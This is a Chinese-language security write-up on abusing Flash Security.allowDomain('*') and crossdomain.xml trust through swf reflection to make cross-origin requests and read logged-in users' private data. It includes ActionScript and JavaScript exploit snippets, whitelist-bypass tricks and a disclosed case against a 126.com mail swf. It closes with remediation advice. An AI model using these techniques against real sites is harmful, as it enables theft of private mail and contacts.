隱私洩露殺手鐧:Flash 許可權反射
0x00 前言
一直以為該風險早已被重視,但最近無意中發現,仍有不少網站存在該缺陷,其中不乏一些常用的郵箱、社交網站,於是有必要再探討一遍。
事實上,這本不是什麼漏洞,是 Flash 與生俱來的一個正常功能。但由於一些 Web 開發人員瞭解不夠深入,忽視了該特性,從而埋下安全隱患。
0x01 原理
這一切還得從經典的授權操作說起:
#!javascript
Security.allowDomain('*')
對於這行程式碼,或許都不陌生。儘管知道使用 * 是有一定風險的,但想想自己的 Flash 裡並沒有什麼高危操作,把我拿去又能怎樣?
顯然,這還停留在 XSS 的思維上。Flash 和 JS 通訊確實存在 XSS 漏洞,但要找到一個能利用的 swf 檔案並不容易:既要讀取環境引數,又要回撥給 JS,還得確保自動執行。
因此,一些開發人員以為只要不與 JS 通訊,就高枕無憂了。同時為了圖方便,直接給 swf 授權了 *,省去一大堆信任列表。
事實上,Flash 被網頁巢狀僅僅是其中一種而已,更普遍的,則是 swf 之間的巢狀。然而無論何種方式,都是透過 Security.allowDomain 進行授權的 —— 這意味著,一個 * 不僅允許被第三方網頁呼叫,同時還包括了其他任意 swf!
被網頁巢狀,或許難以找到利用價值。但被自己的同類巢狀,可用之處就大幅增加了。因為它們都是 Flash,位於同一個執行時裡,相互之間存在著密切的關聯。
我們如何將這種關聯,進行充分利用呢?
0x02 利用
關聯容器
在 Flash 裡,舞臺(stage)是這個世界的根基。無論載入多少個 swf,舞臺始終只有一個。任何元素(DisplayObject)必須新增到舞臺、或其子容器下,才能展示和互動。
因此,不同 swf 建立的元素,都是透過同一個舞臺展示的。它們能感知相互的存在,只是受到同源策略的限制,未必能相互操作。
然而,一旦某個 swf 主動開放許可權,那麼它的元素就不再受到保護,能被任意 swf 訪問了!
聽起來似乎不是很嚴重。我建立的介面元素,又有何訪問價值?也就獲取一些座標、顏色等資訊而已。
偷窺元素的自身屬性,或許並沒什麼意義。但並非所有的元素,都是為了純粹展示的 —— 有時為了擴充套件功能,繼承了元素類的特徵,在此之上實現額外的功能。
最典型的,就是每個 swf 的主類:它們都繼承於 Sprite,即使程式裡沒用到任何介面相關的。
有這樣擴充套件元素存在,我們就可以訪問那些額外的功能了。
開始我們的第一個案例。某個 swf 的主類在 Sprite 的基礎上,擴充套件了網路載入的功能:
#!javascript
// vul.swf
public class Vul extends Sprite {
public var urlLoader:URLLoader = new URLLoader();
public function download(url:String) : void {
urlLoader.load(new URLRequest(url));
...
}
public function Vul() {
Security.allowDomain('*');
...
}
...
}
透過第三方 swf,我們將其載入進來。由於 Vul 繼承了 Sprite,因此擁有了元素的基因,我們可以從容器中找到它。
同時它也是主類,預設會被新增到 Loader 這個載入容器裡。
#!javascript
// exp.swf
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
var main:* = DisplayObjectContainer(loader).getChildAt(0);
trace(main); // [object Vul]
});
loader.load(new URLRequest('//swf-site/vul.swf'));
因為 Loader 是子 swf 的預設容器,所以其中第一個元素顯然就是子 swf 的主類:Vul。
由於 Vul 定義了一個叫 download 的公開方法,並且授權了所有的域名,因此在第三方 exp.swf 裡,自然也能呼叫它:
#!javascript
main.download('//swf-site/data');
同時 Vul 中的 urlLoader 也是一個公開暴露的成員變數,同樣可被外部訪問到,並對其新增資料接收事件:
#!javascript
var ld:URLLoader = main.urlLoader;
ld.addEventListener('complete', function(e:Event) : void {
trace(ld.data);
});
儘管這個 download 方法是由第三方 exp.swf 發起的,但最終執行 URLLoader
的 load
方法時,上下文位於 vul.swf 裡,因此這個請求仍屬於 swf-site 的源。
於是攻擊者從任意位置,跨站訪問 swf-site 下的資料了。
更糟的是,Flash 的跨源請求可透過 crossdomain.xml 來授權。如果某個站點允許 swf-site,那麼它也成了受害者。
如果使用者正處於登入狀態,攻擊者悄悄訪問帶有個人資訊的頁面,使用者的隱私資料可能就被洩露了。攻擊者甚至還可模擬使用者請求,將惡意連結傳送給其他好友,導致蠕蟲傳播。
ActionScript 雖然是強型別的,但只是開發時的約束,在執行時仍和 JavaScript 一樣,可動態訪問屬性。
類反射
透過容器這個橋樑,我們可訪問到子 swf 中的物件。但前提條件仍過於理想,現實中能利用的並不多。
如果目標物件不是一個元素,也沒有和公開的物件相關聯,甚至根本就沒有被例項化,那是否就無法獲取到了?
做過頁遊開發的都試過,將一些後期使用的素材打包在獨立的 swf 裡,需要時再載入回來從中提取。目標 swf 僅僅是一個資源包,其中沒有任何指令碼,那是如何引數提取的?
事實上,整個過程無需子 swf 參與。所謂的『提取』,其實就是 Flash 中的反射機制。透過反射,我們即可隔空取物,直接從目標 swf 中取出我們想要的類。
因此我們只需從目標 swf 裡,找到一個使用了網路介面類,即可嘗試為我們效力了。
開始我們的第二個案例。這是某電商網站 CDN 上的一個廣告活動 swf,反編譯後發現,其中一個類裡封裝了簡單的網路操作:
#!javascript
// vul.swf
public class Tool {
public function getUrlData(url:String, cb:Function) : void {
var ld:URLLoader = new URLLoader();
ld.load(new URLRequest(url));
ld.addEventListener('complete', function(e:Event) : void {
cb(ld.data);
});
...
}
...
在正常情況下,需一定的互動才會建立這個類。但反射,可以讓我們避開這些條件,提取出來直接使用:
#!javascript
// exp.swf
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
var cls:* = loader.contentLoaderInfo.applicationDomain.getDefinition('Tool');
var obj:* = new cls;
obj.getUrlData('http://victim-site/user-info', function(d:*) : void {
trace(d);
});
});
loader.load(new URLRequest('//swf-site/vul.swf'));
由於 victim-site/crossdomain.xml 允許 swf-site 訪問,於是 vul.swf 在不經意間,就充當了隱私洩露的傀儡。
攻擊者擁有了 victim-site 的訪問權,即可跨站讀取頁面資料,訪問使用者的個人資訊了。
由於大多 Web 開發者對 Flash 的安全仍侷限於 XSS 之上,從而忽視了這類風險。即使在如今,網路上仍存在大量可被利用的缺陷 swf 檔案,甚至不乏一些大網站也紛紛中招。
當然,即使有反射這樣強大的武器,也並非所有的 swf 都是可以利用的。顯然,要符合以下幾點才可以:
執行 Security.allowDomain(可控站點)
能控制觸發 URLLoader/URLStream 的 load 方法,並且 url 引數能自定義
返回的資料可被獲取
第一條:這就不用說了,反射的前提也是需要對方授權的。
第二條:理想情況下,可直接呼叫反射類中提供的載入方法。但現實中未必都是 public 的,這時就無法直接呼叫了。只能分析程式碼邏輯,看能不能透過公開的方法,構造條件使得流程走到請求傳送的那一步。同時 url 引數也必須可控,否則也就沒意義了。
第三條:如果只能將請求傳送出去,卻不能拿到返回的內容,同樣也是沒有意義的。
也許你會說,為什麼不直接反射出目標 swf 中的 URLLoader 類,那不就可以直接使用了嗎。然而事實上,光有類是沒用的,Flash 並不關心這個類來自哪個 swf,而是看執行 URLLoader::load 時,當前位於哪個 swf。如果在自己的 swf 裡呼叫 load,那麼請求仍屬於自己的源。
同時,AS3 裡已沒有 eval 函式了。唯一能讓資料變指令的,就是 Loader::loadBytes,但這個方法也有類似的判斷。
因此我們還是得透過目標 swf 裡的已有的功能,進行利用。
0x03 案例
這裡分享一個現實中的案例,之前已上報並修復了的。
這是 126.com 下的一個 swf,位於 http://mail.126.com/js6/h/flashRequest.swf
。
反編譯後可發現,主類初始化時就開啟了 * 的授權,因此整個 swf 中的類即可隨意使用了!
同時,其中一個叫 FlashRequest 的類,封裝了常用的網路操作,並且關鍵方法都是 public 的:
我們將其反射出來,根據其規範呼叫,即可發起跨源請求了!
由於網易不少站點的 crossdomain.xml 都授權了 126.com,因此可暗中檢視已登入使用者的 163/126 郵件了:
甚至還可以讀取使用者的通訊錄,將惡意連結傳播給更多的使用者!
0x04 進階
藉助爬蟲和工具,我們可以找出不少可輕易利用的 swf 檔案。不過本著研究的目的,我們繼續探討一些需仔細分析才能利用的案例。
進階 No.1 —— 繞過路徑檢測
當然也不是所有的開發人員,都是毫不思索的使用 Security.allowDomain('*') 的。
一些有安全意識的,即使用它也會考慮下當前環境是否正常。例如某個郵箱的 swf 初始化流程:
#!javascript
// vul-1.swf
public function Main() {
var host:String = ExternalInterface.call('function(){return window.location.host}');
if host not match white-list
return
Security.allowDomain('*');
...
它會在授權之前,對巢狀的頁面進行判斷:如果不在白名單列表裡,那就直接退出。
由於白名單的匹配邏輯很簡單,也找不出什麼瑕疵,於是只能將目光轉移到 ExternalInterface 上。為什麼要使用 JS 來獲取路徑?
因為 Flash 只提供當前 swf 的路徑,並不知道自己是被誰巢狀的,於是只能用這種曲線救國的辦法了。
不過上了 JS 的賊船,自然就躲不過厄運了。有數不清的前端黑魔法正等著躍躍欲試。Flash 要和各種千奇百怪的瀏覽器通訊,顯然需要一套訊息協議,以及一個 JS 版的中間橋樑,用以支撐。瞭解 Flash XSS 的應該都不陌生。
在這個橋樑裡,其中有一個叫 __flash__toXML
的函式,負責將 JS 執行後的結果,封裝成訊息協議返回給 Flash。如果能搞定它,那一切就好辦了。
顯然這個函式預設是不存在的,是載入了 Flash 之後才註冊進來的。既然是一個全域性函式,頁面中的 JS 也能重定義它:
#!javascript
// exp-1.js
function handler(str) {
console.log(str);
return '<string>hi,jack</string>';
}
setInterval(function() {
var rawFn = window.__flash__toXML;
if (rawFn && rawFn != handler) {
window.__flash__toXML = handler;
}
}, 1);
透過定時器不斷監控,一旦出現就將其重定義。於是用 ExternalInterface.call 無論執行什麼程式碼,都可以隨意返回內容了!
為了消除定時器的延遲誤差,我們先在自己的 swf 裡,隨便呼叫下 ExternalInterface.call 進行預熱,讓 __flash__toXML
提前注入。之後子 swf 使用時,已經是被覆蓋的版本了。
當然,即使不使用覆蓋的方式,我們仍可以控制 __flash__toXML
的返回結果。
仔細分析下這個函式,其中呼叫了 __flash__escapeXML
:
#!javascript
function __flash__toXML(value) {
var type = typeof(value);
if (type == "string") {
return "<string>" + __flash__escapeXML(value) + "</string>";
...
}
function __flash__escapeXML(s) {
return s.replace(/&/g, "&").replace(/</g, "<") ... ;
}
裡面有一大堆的實體轉義,但又如何進行利用?
因為它是呼叫 replace
進行替換的,然而在萬惡的 JS 裡,常用的方法都是可被改寫的!我們可以讓它返回任何想要的值:
#!javascript
// exp-1.js
String.prototype.replace = function() {
return 'www.test.com';
};
甚至還可以針對 __flash__escapeXML
的呼叫,返回特定值:
#!javascript
String.prototype.replace = function F() {
if (F.caller == __flash__escapeXML) {
return 'www.test.com';
}
...
};
於是 ExternalInterface.call 的問題就這樣解決了。人為返回一個白名單裡的域名,即可繞過初始化中的檢測,從而順利執行 Security.allowDomain(*)。
所以,絕不能相信 JS 返回的內容。連標點符號都不能信!
進階 No.2 —— 構造請求條件
下面這個案例,是某社交網站的頭像上傳 Flash。
不像之前那些,都可順利找到公開的網路介面。這個案例十分苛刻,搜尋整個專案,只出現一處 URLLoader,而且還是在 private 方法裡。
#!javascript
// vul-2.swf
public class Uploader {
public function Uploader(file:FileReference) {
...
file.addEventListener(Event.SELECT, handler);
}
private function handler(e:Event) : void {
var file:FileReference = e.target as FileReference;
// check filename and data
file.name ...
file.data ...
// upload(...)
}
private function upload(...) : void {
var ld:URLLoader = new URLLoader();
var req:URLRequest = new URLRequest();
req.method = 'POST';
req.data = ...;
req.url = Param.service_url + '?xxx=' ....
ld.load(req);
}
}
然而即使要觸發這個方法也非常困難。因為這是一個上傳控制元件,只有當使用者選擇了檔案對話方塊裡的圖片,並透過引數檢驗,才能走到最終的上傳位置。
唯一可被反射呼叫的,就是 Uploader 類自身的構造器。同時控制傳入的 FileReference 物件,來構造條件。
#!javascript
// exp-2.swf
var file:FileReference = new FileReference();
var cls:* = ...getDefinition('Uploader');
var obj:* = new cls(file);
然而 FileReference 不同於一般的物件,它會調出介面。如果中途彈出檔案對話方塊,並讓使用者選擇,那絕對是不現實的。
不過,彈框和回撥只是一個因果關係而已。彈框會產生回撥,但回撥未必只有彈框才能產生。因為 FileReference 繼承了 EventDispatcher,所以我們可以人為的製造一個事件:
#!javascript
file.dispatchEvent(new Event(Event.SELECT));
這樣,就進入檔案選中後的回撥函式里了。
由於這一步會校驗檔名、內容等屬性,因此還得事先給這些屬性賦值。然而遺憾的是,這些屬性都是隻讀的,根本無法設定。
等等,為什麼會有隻讀的屬性?屬性不就是一個成員變數嗎,怎麼做到只能讀不可寫?除非是 const,但那是常量,並非只讀屬性。
原來,所謂的只讀,就是隻提供了 getter、但沒有 setter 的屬性。這樣就保證了屬性內部可變,但外部不可寫的特徵。
如果我們能 hook 這個 getter,那就能返回任意值了。然而 AS 裡的類預設都是密閉的,不像 JS 那樣靈活,可隨意篡改原型鏈。
事實上在高階語言裡,有著更為優雅的 hook 方式,我們稱作『重寫』。我們建立一個繼承 FileReference 的類,即可重寫那些 getter 了:
#!javascript
// exp-2.swf
class FileReferenceEx extends FileReference {
override public function get name() : String {
return 'hello.gif';
}
override public function get data() : ByteArray {
var bytes:ByteArray = new ByteArray();
...
return bytes;
}
}
根據著名的『里氏替換原則』,任何基類可以出現的地方,子類也一定可以出現。所以傳入這個 FileReferenceEx 也是可接受的,之後一旦訪問 name 等屬性時,自然就落到我們的 getter 上了。
#!javascript
// exp-2.swf
var file:FileReference = new FileReferenceEx(); // !!!
...
var obj:* = new cls(file);
到此,我們成功模擬了檔案選擇的整個流程。
接著就到關鍵的上傳位置了。慶幸的是,它沒寫死上傳地址,而是從環境變數(loaderInfo.parameters)裡讀取。
說到環境變數,大家首先想到網頁中 Flash 元素的 flashvars
屬性,但其實還有兩個地方可以傳入:
swf url query(例如 .swf?a=1&b=2)
LoaderContext
由於 url query 是固定的,後期無法修改,所以選擇 LoaderContext 來傳遞:
#!javascript
// exp-2.swf
var loader:Loader = new Loader();
var ctx:LoaderContext = new LoaderContext();
ctx.parameters = {
'service_url': 'http://victim-site/user-data#'
};
loader.load(new URLRequest('http://cross-site/vul-2.swf'), ctx);
因為 LoaderContext 裡的 parameters 是執行時共享的,這樣就能隨時更改環境變數了:
#!javascript
// next request
ctx.parameters.service_url = 'http://victim-site/user-data-2#';
同時為了不讓多餘的引數傳送上去,還可以在 URL 末尾放置一個 #,讓後面多餘的部分變成 Hash,就不會走流量了。
儘管這是個很苛刻的案例,但仔細分析還是找出解決辦法的。
當然,我們目的並不是為了結果,而是其中分析的樂趣:)
進階 No.3 —— 捕獲返回資料
當然,光把請求傳送出去還是不夠的,如果無法拿到返回的結果,那還是白忙活。
最理想的情況,就是能傳入回撥介面,這樣就可直接獲得資料了。但現實未必都是這般美好,有時我們得自己想辦法取出資料。
一些簡單的 swf 通常不會封裝一個的網路請求類,每次使用時都直接寫原生的程式碼。這樣,可控的因子就少很多,利用難度就會大幅提升。
例如這樣的場景,儘管能控制請求地址,但由於沒法拿到 URLLoader,也就無從獲取返回資料了:
#!javascript
public function download(url:String) : void {
var ld:URLLoader = new URLLoader();
ld.load(new URLRequest(url));
ld.addEventListener('complete', function(e:Event) : void {
// do nothing
});
}
但通常不至於啥也不做,多少都會處理下返回結果。這時就得尋找機會了。
一旦將資料賦值到公開的成員變數裡,那麼我們就可透過輪詢的方式來獲取了:
#!javascript
public var data:*;
...
ld.addEventListener('complete', function(e:Event) : void {
data = e.data;
});
或者,將資料存放到了某個元素裡,用於顯示:
#!javascript
private var textbox:TextField = new TextField();
...
addChild(textbox);
...
ld.addEventListener('complete', function(e:Event) : void {
textbox.text = e.data;
});
同樣可以利用文章開頭提到的方法,從父容器裡找出相應的元素,定時輪詢其中的內容。
不過這些都算容易解決的。在一些場合,返回的資料根本不符合預期的格式,因此就無法處理直接報錯了。
下面是個非常普遍的案例。在接收事件裡,將資料進行固定格式的解碼:
#!javascript
// vul-3.swf
import com.adobe.serialization.json.JSON;
ld.addEventListener('complete', function(e:Event) : void {
var data:* = JSON.decode(e.data);
...
});
因為開發人員已經約定使用 JSON 作為返回格式,所以壓根就沒容錯判斷,直接將資料進行解碼。
然而我們想要跨站讀取的檔案,未必都是 JSON 格式的。HTML、XML 甚至 JSONP,都被拍死在這裡了。
難道就此放棄?都報錯無法往下走了,那還能怎麼辦。唯一可行的,就是將錯就錯,往『錯誤』的方向走。
一個強大的執行時系統,都會提供一些介面,供開發者捕獲全域性異常。HTML 裡有,Flash 裡當然也有,甚至還要強大的多 —— 不僅能夠獲得錯誤相關的資訊,甚至還能拿到 throw 出來的那個 Error 物件!
一般通用的類庫,往往會有健全的引數檢驗。當遇到不合法的引數時,通常會將引數連同錯誤資訊,作為異常丟擲來。如果某個異常物件裡,正好包含了我們想要的敏感資料的話,那就非常美妙了。
就以 JSON 解碼為例,我們寫個 Demo 驗證一下:
#!javascript
var s:String = '<html>\n<div>\n123\n</div>\n</html>';
JSON.decode(s);
我們嘗試將 HTML 字元傳入 JSON 解碼器,最終被斷在了類庫丟擲的異常處:
異常中的前兩個引數,看起來沒多大意義。但第三個引數,裡面究竟藏著是什麼?
不用猜想,這正是我們想要的東西 —— 傳入解碼器的整個字元引數!
如此,我們就可在全域性異常捕獲中,拿到完整的返回資料了:
#!javascript
loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function(e:UncaughtErrorEvent) : void {
trace(e.error.text);
});
驚呆了吧!只要仔細探索,一些看似不可能實現的,其實也能找到解決方案。
0x05 補救
如果從程式碼層面來修補,短時間內也難以完成。
大型網站長期以來,積累了相當數量的 swf 檔案。有時為了解決版本衝突,甚至在檔名裡使用了時間、摘要等隨機數,這類的 swf 當時的原始碼,或許早已不再維護了。
因此,還是得從網站自身來強化。crossdomain.xml 中不再使用的域名就該儘早移除,需要則儘可能縮小子域範圍。畢竟,只要出現一個帶缺陷的 swf 檔案,整個站點的安全性就被拉低了。
事實上,即使透過反射目標 swf 實現的跨站請求,referer 仍為攻擊者的頁面。因此,涉及到敏感資料讀取的操作,驗證一下來源還是很有必要的。
作為使用者來說,禁用第三方 cookie 實在太有必要了。如今 Safari 已預設禁用,而 Chrome 則仍需手動新增。
0x06 總結
最後總結下,本文提到的 3 類許可權:
程式碼層面(public / private / ...)
模組層面(Security.allowDomain)
站點層面(crossdomain.xml)
只要這幾點都滿足,就很有可能被用於跨源的請求。
也許會覺得 Flash 裡坑太多了,根本防不勝防。但事實上這些特徵早已存在,只是未被開發者重視而已。以至於各大網站如今仍普遍躺槍。
當然,資訊洩露對每個使用者都是受害者。希望能讓更多的開發者看到,及時修復安全隱患。
相關文章
- 兒童智慧手錶存安全漏洞 易洩露孩子隱私2016-03-11
- QQ瀏覽器隱私洩露報告2020-08-19瀏覽器
- 一加手機再曝隱私洩露事件,你還敢用嗎?2019-11-25事件
- 在MacOS系統中如何管理隱私許可權控制?2020-12-19Mac
- 太可怕!iPhone的Live Photo功能洩露隱私2016-11-23iPhone
- 360防毒防隱私洩露怎麼開啟2017-01-18防毒
- 相容iOS 10:配置獲取隱私資料許可權宣告2019-01-18iOS
- Camera 360應用隱私資料洩露的分析2020-08-19
- 徵信App亂象難禁 存洩露個人隱私風險2019-03-14APP
- 大模型隱私洩露攻擊技巧分析與復現2024-09-03大模型
- 保護你的隱私不被洩露,一鍵隱藏桌面所有檔案2020-05-28
- Facebook隱私洩露事件繼續發酵 黑客出售聊天資訊2018-11-05事件黑客
- WhatsApp被指有漏洞:會洩露使用者隱私2015-03-11APP
- 自動重置應用許可權,谷歌推進Android隱私保護2021-09-22谷歌Android
- 解決方案:蘋果手機真的安全嗎?防止個人隱私洩露要注意這幾點2019-08-27蘋果
- 雙11要來了,舊手機怎麼處理才不會洩露個人隱私2020-10-20
- 基於 PHP 反射的許可權匯入2018-03-24PHP反射
- java反射——關於許可權和異常2016-09-14Java反射
- 擔心360度評估結果隱私洩露怎麼辦?2024-11-24
- 望周知,手機維修你還擔心隱私洩露嘛?華為手機一鍵開啟維修模式2019-08-21模式
- HTTPS證書有效規避個人隱私洩露帶來的危害2020-09-03HTTP
- 害怕瀏覽器洩露隱私?更嚴的標準要來了2015-08-05瀏覽器
- 華爾街日報:iPhone Android應用程式洩露使用者隱私2010-12-20iPhoneAndroid
- Oracle的物件許可權、角色許可權、系統許可權2017-06-15Oracle物件
- 微服務架構的四大殺手鐧2022-12-05微服務架構
- 許可權之選單許可權2019-04-17
- 隱私洩露再受關注,問題根源在哪?平臺能做什麼?2021-03-22
- 華住資料洩露,隱私這個詞必將從詞典消失2018-08-31
- 資訊洩露事件頻發快遞行業的隱私面單之戰2017-07-04事件行業
- Dasient:8% Android應用都會洩露使用者隱私資料2011-07-22Android
- 如何用 Vue 實現前端許可權控制(路由許可權 + 檢視許可權 + 請求許可權)2018-04-12Vue前端路由
- linux 檔案許可權 s 許可權和 t 許可權解析2018-03-16Linux
- 如何關閉Flash Cookie來避免資訊洩露?2016-10-20Cookie
- Android 13 將限制應用側載許可權,從而提高使用者隱私安全2022-05-13Android
- 資料洩露的隱性成本2022-02-24
- Modis:41%的美國人願意為1000美元洩露隱私資料2017-09-02
- Windows Secondary Logon服務中的一個控制程式碼許可權洩露Bug2020-08-19WindowsGo
- 許可權系統:一文搞懂功能許可權、資料許可權2024-11-10